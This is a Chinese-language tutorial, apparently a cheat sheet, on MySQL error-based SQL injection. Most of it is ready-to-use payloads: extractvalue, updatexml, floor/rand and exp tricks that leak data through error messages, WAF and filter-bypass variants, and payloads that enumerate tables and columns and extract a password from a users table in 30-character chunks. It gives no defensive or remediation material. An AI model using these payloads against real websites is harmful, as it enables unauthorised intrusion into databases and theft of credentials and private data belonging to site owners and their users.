MySQL 报错注入基础概念
报错注入是通过故意构造错误语句,使数据库返回错误信息并泄露数据的一种技术。其核心是利用数据库函数或语法特性触发错误,并将查询结果通过错误信息反馈。
常用报错函数与技术
利用 extractvalue 函数
extractvalue 是XML处理函数,当XPath格式错误时会返回错误信息,并附带错误内容。
AND extractvalue(1, concat(0x7e, (SELECT user()), 0x7e))
-
0x7e是~的十六进制,用于分隔错误信息中的有效内容。 - 限制:最多返回32字符,超长需配合
substr分段获取。
利用 updatexml 函数
与 extractvalue 类似,但参数格式不同:
AND updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)
- 同样受32字符长度限制,需分段查询。
利用 floor 与 rand 的组合
通过 group by 和 rand 函数触发主键重复错误:
AND (SELECT 1 FROM (SELECT count(*), concat((SELECT user()), floor(rand(0)*2)) x FROM information_schema.tables GROUP BY x) y)
- 错误信息会包含
concat内的查询结果(如当前用户)。
利用 exp 函数溢出
exp 函数在数值过大时触发溢出错误:
AND exp(~(SELECT * FROM (SELECT user()) x))
-
~按位取反生成极大值,导致exp报错并泄露数据。
绕过过滤技巧
替换空格
使用注释符 /**/ 或括号绕过空格过滤:
AND(extractvalue(1,concat(0x7e,(SELECT/**/user()),0x7e)))
十六进制编码
敏感函数或字符串可用十六进制表示:
AND extractvalue(1, concat(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 1), 0x7e))
多语句拼接
利用 concat_ws 或 make_set 绕过关键字检测:
AND extractvalue(1, make_set(3, 0x7e, (SELECT user()), 0x7e))
实际案例:获取表名与字段
AND updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1), 0x7e), 1)
- 修改
LIMIT偏移值遍历所有表。 - 获取字段名只需替换为
SELECT column_name FROM information_schema.columns WHERE table_name='users'。
注意事项
- 报错注入需目标开启错误回显,否则无法利用。
- 部分函数如
extractvalue和updatexml需MySQL版本≥5.1.5。 - 过长的结果需结合
substr或mid分段提取:AND extractvalue(1, concat(0x7e, substr((SELECT password FROM users LIMIT 1), 1, 30), 0x7e))
通过灵活组合上述方法,可逐步泄露数据库结构及内容。